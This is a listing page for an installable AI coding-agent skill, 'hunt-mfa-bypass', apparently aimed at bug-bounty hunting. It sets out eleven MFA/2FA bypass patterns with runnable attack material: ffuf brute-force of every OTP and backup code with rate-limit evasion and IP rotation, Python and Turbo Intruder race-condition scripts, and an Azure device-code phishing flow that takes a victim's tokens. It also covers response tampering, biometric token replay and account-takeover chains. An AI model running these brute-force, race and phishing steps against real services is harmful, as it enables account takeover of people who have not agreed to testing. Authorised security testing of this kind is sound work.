mcpField
H
hunt-mfa-bypass

hunt-mfa-bypass

github.com/uphiago安全1.3k43 次安装8 周前更新
代码仓库

关于 hunt-mfa-bypass

用于发现认证流程中 MFA 和 2FA 绕过缺陷的安全测试技能,涵盖 OTP、备用码、设备信任、竞态条件和 SSO,并提供验证方法以区分确认的问题与弱信号。

主要功能

  1. 01十一种 MFA 绕过模式
  2. 02OTP 与备用码测试
  3. 03认证流程及 SSO 检查
  4. 04竞态条件测试指导
  5. 05验证清单与注意事项

适用场景

  1. 01检查 OTP 尝试是否受速率限制
  2. 02测试已使用 OTP 或备用码能否重用
  3. 03验证登录和 SSO 流程是否强制执行 MFA
  4. 04评估并发 MFA 验证行为

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-mfa-bypass

安装后在 Claude Code 中输入/hunt-mfa-bypass确认已加载。

详细介绍

19. MFA / 2FA 绕过

日益增多的漏洞类别——有 7 种不同模式。如果能在没有先前会话的情况下实现 ATO,则严重程度为高危/严重。

模式 1:OTP 未设置速率限制
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
模式 2:OTP 使用后未失效
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
模式 3:篡改响应
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
模式 4:跳过 MFA 步骤(工作流绕过)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
模式 5:MFA 验证竞态
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
模式 6:暴力破解备用码
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
模式 7:“记住此设备”信任升级
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA 链式升级
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
模式 8:OAuth 设备码流程 MFA 绕过
Device authorization grant (RFC 8628) - skips interactive user-agent,
meaning MFA challenge is NEVER presented. The device code flow has no
session where the IdP can enforce an MFA step-up.

Detection:
  curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | jq ".device_authorization_endpoint"
  # If present -> device code flow enabled; test if MFA is bypassed

Azure exploitation example:
  1. POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode
     Body: client_id=<app_id>&scope=user.read%20openid
     -> Returns device_code, user_code, verification_uri
  2. Attacker sends user_code to victim via phishing -> victim enters code
  3. Meanwhile attacker polls: POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
     Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=<device_code>&client_id=<app_id>
  4. On victim approval -> attacker receives access_token + refresh_token
  5. If app does NOT enforce MFA on device code grant -> token without MFA check
模式 9:暴力破解备用码(基于 ffuf)
Recovery/backup codes often have lower entropy than advertised - some IdPs
use sequential or timestamp-seeded codes. Test with ffuf:

  ffuf -u "https://target.com/api/mfa/verify-backup" \
    -X POST -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"backup_code":"FUZZ"}' \
    -w <(seq -w 00000000 99999999) \
    -fc 400,401,429 -t 10 -p 0.1-0.5

  Key checks:
  - Purely numeric? 8-digit = 100M (feasible in hours at 5K req/s)
  - Format-locked? (e.g., "XXXX-XXXX" - hyphen reduces search space)
  - Per-IP rate limiting? Rotate IPs if per-IP, not per-code
  - Invalidated after use? If not -> reuse same code for all accounts
模式 10:通过 SSO 绕过 MFA
SSO integrated with MFA at IdP level, but SP-initiated SSO (Service Provider
initiates SAML/OIDC flow) may skip MFA if IdP does not re-auth:

  1. User authenticates to IdP with password only (no MFA)
  2. IdP issues SAML assertion or ID token WITHOUT MFA claim (amr != mfa)
  3. SP trusts assertion without checking acr/amr values -> grants access

Detection:
  - Check SAML AuthnContextClassRef for expected MFA class
  - OIDC: decode ID token JWT, check the "amr" claim
  - If SP accepts tokens without "mfa" in amr -> bypass confirmed

Test: initiate SP login -> intercept SAML/OIDC request -> strip MFA params ->
forward to IdP. If assertion issued without MFA challenge -> SP grants access
模式 11:生物识别 MFA 绕过
Server-side biometric verification (fingerprint scan, face match) where raw
biometric data or match-result token is sent to server can be replayed.

  1. Intercept biometric submission in Burp (Base64 image or match token)
  2. Capture the "biometric_verified: true" response or signed assertion
  3. Replay same payload in new session (different browser/device)
  4. If accepted without freshness (nonce, timestamp, device binding) -> bypass

Common weak implementations:
  - Static biometric challenge (not per-session nonce)
  - JWT result lacking "iat"/"jti" claims -> replayable
  - Server trusts client-reported "passed" boolean

Detection: capture token, wait 5 min, replay in Burp Repeater. If accepted ->
no freshness check. POST /api/biometric/verify {"token":"eyJ..."}

更新后的检测方法

Trace full auth flow in Burp Proxy HTTP history with explicit state transitions:

  1. Credential submission      ->  POST /api/login          -> set-cookie, redirect
  2. MFA challenge request      ->  GET /mfa/challenge       -> challenge data
  3. MFA verification           ->  POST /api/mfa/verify     -> auth token/cookie
  4. Post-MFA resource access   ->  GET /dashboard           -> 200 OK (authed)
  5. Sensitive action (no MFA)  ->  POST /api/change-password -> 200 (no step-up)

Check each transition:
  - Can (1->4) be forced by skipping (2->3)? (Pattern 4 - workflow bypass)
  - Does (3) accept the same payload twice? (Pattern 2 - OTP reuse)
  - Is (3) idempotent under concurrent load? (Pattern 5 - race condition)
  - Does (5) bypass MFA step-up? (Pattern 1 variant - sensitive endpoint)

JWT audit after each step:
  for token in $(cat captured_tokens.txt); do
    echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | jq ".amr, .acr, .mfa, .auth_time"
  done
  # Look for: missing "mfa" claim, stale "auth_time", missing "amr":["mfa"]

Turbo Intruder PoC——MFA 竞态条件

"""Turbo Intruder script for MFA race-conditions (Pattern 5 - advanced).
Single-packet attack via HTTP/2 connection reuse - fires 30+ OTP submissions
in one TCP segment before the server processes any, maximizing TOCTOU."""

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    # Fire 30 parallel OTP submissions on the SAME session
    for i in range(30):
        engine.queue(target.req, {"otp":"123456"}, learn=0)

def handleResponse(req, interesting):
    table.add(req)
    if chr(34)+"success"+chr(34)+":true" in req.response:
        print(f"[RACE WIN] Request {req.id} succeeded - MFA race confirmed")
        print(req.response[:500])

竞态条件验证清单

1. Run >=30 parallel requests (2-5 is insufficient - sequential resolution)
2. Use HTTP/2 single-packet attack (Turbo Intruder BURP2 or Python h2 library)
3. Confirm >1 requests return {"success": true} (or 1 success + N "already_used")
4. Verify the OTP is consumed afterward (replay should fail)
5. Document: server-side atomicity gap confirmed - all OTP codes are vulnerable

验证

运行此自测,确认已准备好进行 mfa-bypass 漏洞搜寻:

  1. 技能完整性——确认技能文件可读且格式正确:

    grep -q "name: hunt-mfa-bypass" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查——确认技能有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分——确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即可确认技能结构正确且可供使用。


陷阱

  • 通过直接访问 URL 绕过 MFA——首次登录后(但完成 MFA 前)访问 /dashboard 是最常见的绕过方式。测试所有登录后的路径。
  • 篡改响应——将响应中的 {"mfa_required":true} 改为 false,只有在服务器信任客户端状态时才构成绕过。
  • 重复使用 MFA 代码——如果代码在有效期内可以重复使用,请记录有效期时长以及可能的重复使用次数。
  • 暴力破解备用码——备用码通常至少有 8 个字符。是否可行取决于速率限制。声称漏洞可利用前,先测试速率限制。
  • 无需重新验证即可注册 MFA——未验证当前密码/OTP 就添加新的 MFA 设备,这才是漏洞发现,而不是 MFA 本身。

相关技能与攻击链

  • hunt-ato — 绕过 MFA 是一种基础手段;ATO 才是最终目的。攻击链基础:窃取 Cookie(通过 XSS 或会话固定)+ 密码验证预言机(登录响应的时间/长度差异会泄露有效密码,且不会触发锁定)+ 修改密码接口不要求再次进行 MFA 验证 = 无需面对 OTP 挑战即可持续控制账户 → 更改密码,攻击者将受害者锁定在账户之外。
  • hunt-race-condition — 模式 5(OTP 竞态)属于竞态条件范畴;同时加载这两项技能。攻击链基础:在服务器将 6 位 OTP 标记为已使用前,通过 20 个并行 HTTP/2 流提交同一个 OTP(使用 Turbo Intruder 发起单包攻击)→ 1 次成功 + 19 次“已使用” → 确认存在竞态窗口 → 攻击者无需暴力破解,只需猜测一次并行提交 → ATO。
  • hunt-auth-bypass — 跳过 MFA 步骤属于工作流层面的认证流程绕过。攻击链基础:密码步骤完成后签发预 MFA Cookie + 直接访问 /dashboard,跳过 /mfa 路由 + 服务器仅对 /mfa 设置中间件门控,而未对 /dashboard 设置 = 仅凭密码状态即可获得完整的认证后访问权限 → 路由门控位置错误,导致 MFA 从未得到强制执行。
  • hunt-misc — 通过 /api/me 泄露恢复码属于杂项类别的信息泄露,串联攻击链后会升级为严重级别。攻击链基础:/api/me 返回完整的用户对象,其中包含 backup_codes 数组(明文存储,且从不轮换)→ 攻击者通过任意读取型 IDOR 或 XSS 窃取备份码 → 使用一个备份码 → 通过 MFA 验证 → 无需知道 OTP 即可实现 ATO。
  • security-arsenal — 提取 OTP 暴力破解载荷章节(000000-999999 字典生成器、使用 -t 5 -p 0.5-2 的 ffuf 速率限制规避模式、通过 proxychains 轮换分布式 IP),以及 JWT 令牌重放表格,适用于“已通过 MFA”这一声明位于可伪造的 JWT 声明中的情况。
  • triage-validation — 在将仅适用于攻击者已拥有密码时才能生效的 MFA 绕过报告为严重级别之前,先执行严重性预审。独立的 MFA 绕过为高危;与密码验证预言机串联为严重;仅与 Cookie 窃取串联也为严重。判断攻击链的问题可以区分这两种情况。

评论

支持 Markdown